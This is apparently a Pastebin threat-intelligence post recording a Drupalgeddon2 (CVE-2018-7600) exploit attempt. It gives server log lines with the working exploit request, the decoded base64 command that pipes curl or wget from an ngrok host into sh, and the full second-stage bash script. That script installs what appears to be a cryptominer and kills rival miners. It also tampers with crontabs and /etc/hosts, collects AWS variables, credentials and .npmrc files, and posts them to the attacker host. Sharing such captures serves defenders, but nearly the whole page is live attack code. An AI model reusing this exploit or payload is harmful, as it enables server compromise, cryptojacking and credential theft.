API tools faq
paste
Advertisement
internetweather

Drupalgeddon2 exploit attempt from 185.159.157.20

internetweather
May 23rd, 2019
707
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 13.70 KB | None | 0 0
raw download clone embed print report
  1. # Exploit attempt from 185.159.157.20 – Drupalgeddon2 (CVE-2018-7600)
  2. Source IP   Country User Agent  Method  URI POST Data   FirstSeen   LastSeen
  3. 185.159.157.20  Switzerland Mozilla/5.0 (Linux; Android 6.0.1; Nexus 6P Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.83 Mobile Safari/537.36   GET /CHANGELOG.txt  "-"   2019-05-23T20:29:38Z    2019-05-23T20:29:38Z
  4. 185.159.157.20  Switzerland Mozilla/5.0 (Linux; Android 6.0.1; Nexus 6P Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.83 Mobile Safari/537.36   GET /core/034069b45cedfcd15e14a393488141a5.php?_cmd=echo+034069b45cedfcd15e14a393488141a5   "-"   2019-05-23T20:29:38Z    2019-05-23T20:29:38Z
  5. 185.159.157.20  Switzerland Mozilla/5.0 (Linux; Android 6.0.1; Nexus 6P Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.83 Mobile Safari/537.36   GET /ps.php?c=echo+034069b45cedfcd15e14a393488141a5 "-"   2019-05-23T20:29:38Z    2019-05-23T20:29:38Z
  6. 185.159.157.20  Switzerland Mozilla/5.0 (Linux; Android 6.0.1; Nexus 6P Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.83 Mobile Safari/537.36   GET /s.php?c=echo+034069b45cedfcd15e14a393488141a5  "-"   2019-05-23T20:29:38Z    2019-05-23T20:29:38Z
  7. 185.159.157.20  Switzerland Mozilla/5.0 (Linux; Android 6.0.1; Nexus 6P Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.83 Mobile Safari/537.36   POST    /?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=echo%20-n%20%27cGtpbGwgLTkgLWYgIlwuXC8uK1xzXC5cL3xuc3NtfGlwdGFibGVzfGJhc2h8c3lzbG9nfFwuY3JvbnxcIVwhfFxbXiI7Y3VybCAtbSA2MCAtc2sgJ2h0dHA6Ly9iYzNkYTI1NS5uZ3Jvay5pby9mL3NlcnZlP2w9dSZyPTAzNDA2OWI0NWNlZGZjZDE1ZTE0YTM5MzQ4ODE0MWE1JmN1cmw9MScgfCBzaA==%27%20|%20base64%20-d%20|%20sh    "form_id=user_pass&_triggering_element_name=name" 2019-05-23T20:29:38Z    2019-05-23T20:29:38Z
  8. 185.159.157.20  Switzerland Mozilla/5.0 (Linux; Android 6.0.1; Nexus 6P Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.83 Mobile Safari/537.36   POST    /?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=echo%20-n%20%27cGtpbGwgLTkgLWYgIlwuXC8uK1xzXC5cL3xuc3NtfGlwdGFibGVzfGJhc2h8c3lzbG9nfFwuY3JvbnxcIVwhfFxbXiI7d2dldCAtcSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC1PIC0gJ2h0dHA6Ly9iYzNkYTI1NS5uZ3Jvay5pby9mL3NlcnZlP2w9dSZyPTAzNDA2OWI0NWNlZGZjZDE1ZTE0YTM5MzQ4ODE0MWE1JndnZXQ9MScgfCBzaA==%27%20|%20base64%20-d%20|%20sh    "form_id=user_pass&_triggering_element_name=name" 2019-05-23T20:29:38Z    2019-05-23T20:29:38Z
  9. 185.159.157.20  Switzerland Mozilla/5.0 (Linux; Android 6.0.1; Nexus 6P Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.83 Mobile Safari/537.36   GET /034069b45cedfcd15e14a393488141a5.php?_cmd=echo+034069b45cedfcd15e14a393488141a5    "-"   2019-05-23T20:29:37Z    2019-05-23T20:29:37Z
  10. 185.159.157.20  Switzerland Go-http-client/1.1  GET /   "-"   2019-05-23T20:10:09Z    2019-05-23T20:10:09Z
  11.  
  12.  
  13. # Decoded Base64
  14. "\.\/.+\s\.\/|nssm|iptables|bash|syslog|\.cron|\!\!|\[^";curl -m 60 -sk 'http://bc3da255.ngrok.io/f/serve?                      l=u&r=034069b45cedfcd15e14a393488141a5&curl=1' | sh
  15.  
  16. pkill -9 -f "\.\/.+\s\.\/|nssm|iptables|bash|syslog|\.cron|\!\!|\[^";wget -q --no-check-certificate -O -                'http://bc3da255.ngrok.io/f/serve?l=u&r=034069b45cedfcd15e14a393488141a5&wget=1' | sh
  17.  
  18. # Archive of payload URL: http://bc3da255.ngrok.io/f/serve?l=u&r=034069b45cedfcd15e14a393488141a5
  19. export HOST="http://98934215.ngrok.io"
  20. export RIP="034069b45cedfcd15e14a393488141a5"
  21.  
  22. reportinfo() {
  23.   local _usr="$(whoami 2>/dev/null)"
  24.   local _url="$HOST/m?o=$(pido)&r=${RIP}&t=${PROCS}&l=u&u=${_usr}"
  25.  
  26.   if type "wget" >/dev/null 2>&1 ; then
  27.     wget -q "${_url}" >/dev/null 2>&1
  28.   elif type "curl" >/dev/null 2>&1 ; then
  29.     curl -sk "${_url}" >/dev/null 2>&1
  30.   elif type "perl" >/dev/null 2>&1 ; then
  31.     perl -e "use File::Fetch;my \$url = '${_url}'; my \$ff = File::Fetch->new(uri => \$url); my \$file = \$ff->fetch() or die ''; unlink(\$file)" >/dev/null 2>&1
  32.   fi
  33. }
  34.  
  35. finish () {
  36.   excode=$?
  37.   echo "OK"
  38.   if [ $excode -eq 16 ]; then
  39.     exit 0
  40.   fi
  41.   pcid=$(pido)
  42.   if [ x"${pcid}" != x"" ]; then
  43.     reportinfo
  44.     if [ -s 78cd2f69da4c ]; then
  45.       curl -sk -X POST -F file=@78cd2f69da4c -F r="$RIP" "$HOST/contact?k=1"
  46.     fi
  47.   else
  48.     if type "curl" >/dev/null 2>&1 ; then
  49.       curl -s -F file=@78cd2f69da4c "$HOST/contact?r=${RIP}&e=1" > /dev/null 2>&1
  50.     elif type "wget" >/dev/null 2>&1 ; then
  51.       tsh=$(wget --method PUT --body-file=78cd2f69da4c -O - -nv 2>/dev/null)
  52.       wget --method POST "$HOST/contact?r=${RIP}&e=1&file=${tsh}" > /dev/null 2>&1
  53.     fi
  54.   fi
  55.   rm -f 78cd2f69da4c
  56.   exit $excode
  57. }
  58. trap finish EXIT
  59.  
  60. pido(){
  61.   PIX=$(ps uxww|grep "034069b45cedfcd15e14a393488141a5b"|grep -v grep|grep -v defunct|grep -v serve|grep -v tmpfile|awk '{print $2, $1}'|head -n 1)
  62.   PI=$(echo $PIX | awk '{print $1}')
  63.   if [ x"${PI}" = x"$(whoami 2>/dev/null)" ]; then
  64.     echo "${PIX}" | awk '{print $2}'
  65.   else
  66.     echo "${PI}"
  67.   fi
  68. }
  69. killall() {
  70.   ps uxww|grep "$RIP"|grep -v grep|grep -v tmpfile|grep -v defunct|grep -v serve|awk '{print $2}'|xargs -r kill -TTOU
  71.   ps uxww|grep "$RIP"|grep -v grep|grep -v tmpfile|grep -v defunct|grep -v serve|awk '{print $2}'|xargs -r kill -9
  72. }
  73. killother() {
  74.   ps uxww|grep "$RIP"|grep -v grep|grep -v tmpfile|grep -v defunct|grep -v serve|awk '{print $2}'|sed '$d'|xargs -r kill -TTOU
  75.   ps uxww|grep "$RIP"|grep -v grep|grep -v tmpfile|grep -v defunct|grep -v serve|awk '{print $2}'|sed '$d'|xargs -r kill -9
  76. }
  77.  
  78. INSTALL="/tmp/.sysinfo/"
  79. mkdir -p $INSTALL
  80.  
  81. if [ ! -d "$INSTALL" ]; then
  82.   INSTALL="$(pwd)/"
  83. else
  84.   chmod 770 $INSTALL
  85. fi
  86.  
  87. cd $INSTALL
  88.  
  89. export LD_LIBRARY_PATH="$INSTALL:$LD_LIBRARY_PATH"
  90. export PATH="$INSTALL:$PATH"
  91.  
  92.  
  93. PROCS=$(expr $(grep -E "^processor" /proc/cpuinfo | wc -l) - 0)
  94. if [ $PROCS -eq 0 ]; then
  95.   PROCS=1
  96. fi
  97.  
  98.   ps ux | grep -F '///'>/dev/null 2>&1
  99.   if [ $? -eq 0 ]; then
  100.     [ -f b2509b ] || curl -fks -o $INSTALL/b2509b "$HOST/d8/fc"
  101.     chmod +x $INSTALL/b2509b
  102.     ps ux | grep -F '///' | awk '{print $1}' | xargs -r -n1 kill -9>/dev/null 2>&1
  103.     $INSTALL/b2509b '///' >>78cd2f69da4c 2>&1 &
  104.   fi
  105.   ps ux | grep -F '[^$I$^]'>/dev/null 2>&1
  106.   if [ $? -eq 0 ]; then
  107.     [ -f b2509b ] || curl -fks -o $INSTALL/b2509b "$HOST/d8/fc"
  108.     chmod +x $INSTALL/b2509b
  109.     ps ux | grep -F '[^$I$^]' | awk '{print $1}' | xargs -r -n1 kill -9>/dev/null 2>&1
  110.     $INSTALL/b2509b '[^$I$^]' >>78cd2f69da4c 2>&1 &
  111.   fi
  112.  
  113. pid=$(ps uxww|grep -v grep|grep -- '45hsTaSqTQM4K1Xeqkcy7eLzqdEuQ594fJVmQryCemQSCU878JGQdSDCxbhNyVjSkiaYat8yAfBuRTPSEUPZoARm9a5XEHZ'|awk '{print $2}'); if [ x"${pid}" != x"" ]; then kill -9 $pid >/dev/null 2>&1; fi
  114. pid=$(ps uxww|grep -v grep|grep -- '42HrCwmHSVyJSAQwn6Lifc3WWAWN56U8s2qAbm6BAagW6Ryh8JgWq8Q1JbZ8nXdcFVgnmAM3q86cm5y9xfmvV1ap6qVvmPe'|awk '{print $2}'); if [ x"${pid}" != x"" ]; then kill -9 $pid >/dev/null 2>&1; fi
  115. pid=$(ps uxww|grep -v grep|grep -- '47sghzufGhJJDQEbScMCwVBimTuq6L5JiRixD8VeGbpjCTA12noXmi4ZyBZLc99e66NtnKff34fHsGRoyZk3ES1s1V4QVcB'|awk '{print $2}'); if [ x"${pid}" != x"" ]; then kill -9 $pid >/dev/null 2>&1; fi
  116. pid=$(ps uxww|grep -v grep|grep -- '44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM'|awk '{print $2}'); if [ x"${pid}" != x"" ]; then kill -9 $pid >/dev/null 2>&1; fi
  117. pid=$(ps uxww|grep -v grep|grep -- '49hNrEaSKAx5FD8PE49Wa3DqCRp2ELYg8dSuqsiyLdzSehFfyvk4gDfSjTrPtGapqcfPVvMtAirgDJYMvbRJipaeTbzPQu4'|awk '{print $2}'); if [ x"${pid}" != x"" ]; then kill -9 $pid >/dev/null 2>&1; fi
  118. pid=$(ps uxww|grep -v grep|grep -- '4AniF816tMCNedhQ4J3ccJayyL5ZvgnqQ4X9bK7qv4ZG3QmUfB9tkHk7HyEhh5HW6hCMSw5vtMkj6jSYcuhQTAR1Sbo15gB'|awk '{print $2}'); if [ x"${pid}" != x"" ]; then kill -9 $pid >/dev/null 2>&1; fi
  119. pid=$(ps uxww|grep -v grep|grep -- 'Circle_MI'|awk '{print $2}'); if [ x"${pid}" != x"" ]; then kill -9 $pid >/dev/null 2>&1; fi
  120. pid=$(ps uxww|grep -v grep|grep -- 'cryptonight'|awk '{print $2}'); if [ x"${pid}" != x"" ]; then kill -9 $pid >/dev/null 2>&1; fi
  121. pid=$(ps uxww|grep -v grep|grep -- 'xmr.crypto-pool.fr'|awk '{print $2}'); if [ x"${pid}" != x"" ]; then kill -9 $pid >/dev/null 2>&1; fi
  122. pid=$(ps uxww|grep -v grep|grep -- 'Circle_CF'|awk '{print $2}'); if [ x"${pid}" != x"" ]; then kill -9 $pid >/dev/null 2>&1; fi
  123. pid=$(ps uxww|grep -v grep|grep -- '429MTSFoLS8E82yAepehvf1aG1Pt3Usz2DtSa28xekoKeVk1Yk8LKn24AQdtVNxBu73yS9VMxSxAaU1rkM4uZPczF9ozWXR'|awk '{print $2}'); if [ x"${pid}" != x"" ]; then kill -9 $pid >/dev/null 2>&1; fi
  124. pid=$(ps uxww|grep -v grep|grep -- 'nm9LI'|awk '{print $2}'); if [ x"${pid}" != x"" ]; then kill -9 $pid >/dev/null 2>&1; fi
  125. pid=$(ps uxww|grep -v grep|grep -- '/tmp/.httpd'|awk '{print $2}'); if [ x"${pid}" != x"" ]; then kill -9 $pid >/dev/null 2>&1; fi
  126. pid=$(ps uxww|grep -v grep|grep -- '-c httpd.conf'|awk '{print $2}'); if [ x"${pid}" != x"" ]; then kill -9 $pid >/dev/null 2>&1; fi
  127. pid=$(ps uxww|grep -v grep|grep -- '44WR4cmniSEXKknaKR5khKbA9dmdsL6oA1e7Jvkf8KEvYLvfSyWe6tF6PuLN81iAfTLBQovE9AT2icAezyxuH72iAQC8nQb'|awk '{print $2}'); if [ x"${pid}" != x"" ]; then kill -9 $pid >/dev/null 2>&1; fi
  128. pid=$(ps uxww|grep -v grep|grep -- 'minexmr.com'|awk '{print $2}'); if [ x"${pid}" != x"" ]; then kill -9 $pid >/dev/null 2>&1; fi
  129. pid=$(ps uxww|grep -v grep|grep -- 'Circle_AA'|awk '{print $2}'); if [ x"${pid}" != x"" ]; then kill -9 $pid >/dev/null 2>&1; fi
  130. pid=$(ps uxww|grep -v grep|grep -- 'minergate'|awk '{print $2}'); if [ x"${pid}" != x"" ]; then kill -9 $pid >/dev/null 2>&1; fi
  131. pid=$(ps uxww|grep -v grep|grep -- 'php refresh'|awk '{print $2}'); if [ x"${pid}" != x"" ]; then kill -9 $pid >/dev/null 2>&1; fi
  132. pid=$(ps uxww|grep -v grep|grep -- 'tmp/.cron'|awk '{print $2}'); if [ x"${pid}" != x"" ]; then kill -9 $pid >/dev/null 2>&1; fi
  133. pid=$(ps uxww|grep -v grep|grep -- '.resyslogd'|awk '{print $2}'); if [ x"${pid}" != x"" ]; then kill -9 $pid >/dev/null 2>&1; fi
  134. pid=$(ps uxww|grep -v grep|grep -- 'xmr-stak'|awk '{print $2}'); if [ x"${pid}" != x"" ]; then kill -9 $pid >/dev/null 2>&1; fi
  135. pid=$(ps uxww|grep -v grep|grep -- 'sync_supers'|awk '{print $2}'); if [ x"${pid}" != x"" ]; then kill -9 $pid >/dev/null 2>&1; fi
  136.  
  137. reu() {
  138. chattr -i $1 >/dev/null 2>&1
  139. rm -rf $1 >/dev/null 2>&1
  140. mkdir -p $1 > $1 2>/dev/null
  141. }
  142.  
  143. if [ x"$(whoami 2>/dev/null)" = x"root" ]; then
  144. reu /tmp/Circle_CF.png
  145. reu /tmp/kcore
  146. reu /tmp/BoomBoom
  147. reu /usr/bin/ntpd
  148. fi
  149.  
  150. app_md5_list="0c8eee301d16beefd56f56a30c58db7b 0e7ef4ac9c1d647479042f12401d1b3c cd4bf850a354a80eb860586d253a4385 ba27739dd60ee70d2bf8a068b35e4bb0"
  151. ps uxww|sort -k3n|grep -v grep|grep -v COMMAND|tail -n 10|awk '{print $2,$11,$3,$6}' |
  152. while IFS= read -r p_name; do
  153.   p_pid=$(echo ${p_name}|awk '{print $1}')
  154.   p_n=$(echo ${p_name}|awk '{print $2}')
  155.   p_l=$(echo ${p_name}|awk '{print $3}')
  156.   p_m=$(echo ${p_name}|awk '{print $4}')
  157.   p_fp=$(ls -l /proc/${p_pid}/exe 2>/dev/null|awk '{print $NF}')
  158.  
  159.   if [ x"${p_n}" = x"034069b45cedfcd15e14a393488141a5b" ]; then continue; fi
  160.   if [ x"${p_m}" = x"0" ]; then continue; fi
  161.   if [ x"${p_fp}" != x"" ]; then
  162.     if [ x"${p_fp}" = x"(deleted)"  ]; then
  163.       kill -9 ${p_pid} > /dev/null 2>&1
  164.     else
  165.       p_l=${p_l%.*}
  166.       p_md5=$(md5sum ${p_fp} 2>/dev/null|awk '{print $1}')
  167.       [ $p_l -gt 20 ] && [ x"${p_md5}" != x"c5525a05e2eb3d2a54b0814e4cf48c4f" ] && echo "---appstore--- $p_name $p_md5 $p_fp" >> 78cd2f69da4c
  168.       for md5 in ${app_md5_list}; do
  169.         if [ x"${p_md5}" = x"${md5}" ]; then
  170.           kill -9 ${p_pid} >/dev/null 2>&1
  171.           chattr -i ${p_fp} >/dev/null 2>&1
  172.           chmod -x ${p_fp} >/dev/null 2>&1
  173.           echo '#!/bin/sh' > $p_fp 2>/dev/null
  174.           chattr +i ${p_fp} >/dev/null 2>&1
  175.         fi
  176.       done
  177.     fi
  178.   fi
  179. done
  180.  
  181. download() {
  182.   chattr -i "${INSTALL}$2" >/dev/null 2>&1
  183.   find "${INSTALL}$2" -exec chmod 770 {} + >/dev/null 2>&1
  184.   chmod -R 770 "${INSTALL}$2">/dev/null 2>&1
  185.   rm -rf "${INSTALL}$2">/dev/null 2>&1
  186.   if type "curl" >/dev/null 2>&1 ; then
  187.     curl -fks -o $2 $1
  188.     return $?
  189.   elif type "wget" >/dev/null 2>&1 ; then
  190.     wget --timeout=60 -q $1 -O $2
  191.     return $?
  192.   elif type "perl" >/dev/null 2>&1 ; then
  193.     perl -e "use File::Fetch;my \$url = '${1}'; my \$ff = File::Fetch->new(uri => \$url); my \$file = \$ff->fetch() or die "\$!"; system(\"mv \$file ${2}\")"
  194.     return $?
  195.   fi
  196.  
  197.   return 1
  198. }
  199.  
  200. start() {
  201.   chmod +x 034069b45cedfcd15e14a393488141a5b
  202.   cat $INSTALL/9de5f7e707 | 034069b45cedfcd15e14a393488141a5b >/dev/null 2>&1 &
  203.   sleep 1
  204.   rm -rf 9de5f7e707
  205. }
  206.  
  207. install() {
  208.   killother
  209.   pcid=$(pido)
  210.   if [ x"${pcid}" != x"" ]; then
  211.     return 0
  212.   fi
  213.  
  214.   killall
  215.   download "$HOST/d8/daemon" "034069b45cedfcd15e14a393488141a5b"
  216.   download "$HOST/d8/nginx" "9de5f7e707"
  217.   start
  218. }
  219.  
  220. install
  221.  
  222. cat /etc/hosts | grep nanopool >/dev/null
  223. if [ $? -eq 0 ]; then
  224.   echo "127.0.0.1 localhost" > /etc/hosts
  225. fi
  226.  
  227. if [ x"$(whoami 2>/dev/null)" != x"root" ]; then
  228.   crontab -r >/dev/null 2>&1
  229. else
  230.   echo "" >78cd2f69da4c_cron
  231.  
  232.   crontab -l >/dev/null 2>&1
  233.   if [ $? -eq 0 ]; then
  234.     crontab -l | while IFS= read -r cron; do
  235.       dl=$(echo "${cron}" | grep -E "(curl |wget |${RIP})")
  236.       if [ x"${dl}" = x"" ]; then
  237.         [ x"${cron}" != x"" ] && echo "${cron}" >>78cd2f69da4c_cron
  238.       else
  239.         echo "pomijam wpis $cron" >>78cd2f69da4c 2>&1
  240.       fi
  241.     done
  242.  
  243.     cat 78cd2f69da4c_cron | crontab - >>78cd2f69da4c 2>&1
  244.     if [ $? -ne 0 ]; then
  245.       crontab -r >/dev/null 2>&1
  246.     fi
  247.   fi
  248.   rm -f 78cd2f69da4c_cron
  249. fi
  250.  
  251. if type "curl" >/dev/null 2>&1 ; then
  252. CFG="/tmp/.5dade2"
  253. env | grep AWS>>$CFG;
  254. find /home -maxdepth 5 -type f -name 'credentials' 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %'>>$CFG 2>/dev/null
  255. find /home -maxdepth 5 -type f -name '.npmrc' 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %'>>$CFG 2>/dev/null
  256. if [ -s $CFG ]; then
  257.   curl -s -F file=@$CFG "$HOST/c?r=${RIP}" >/dev/null 2>&1
  258. fi
  259. rm -rf $CFG
  260. fi
  261.  
  262.  
  263.  
  264. exit 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!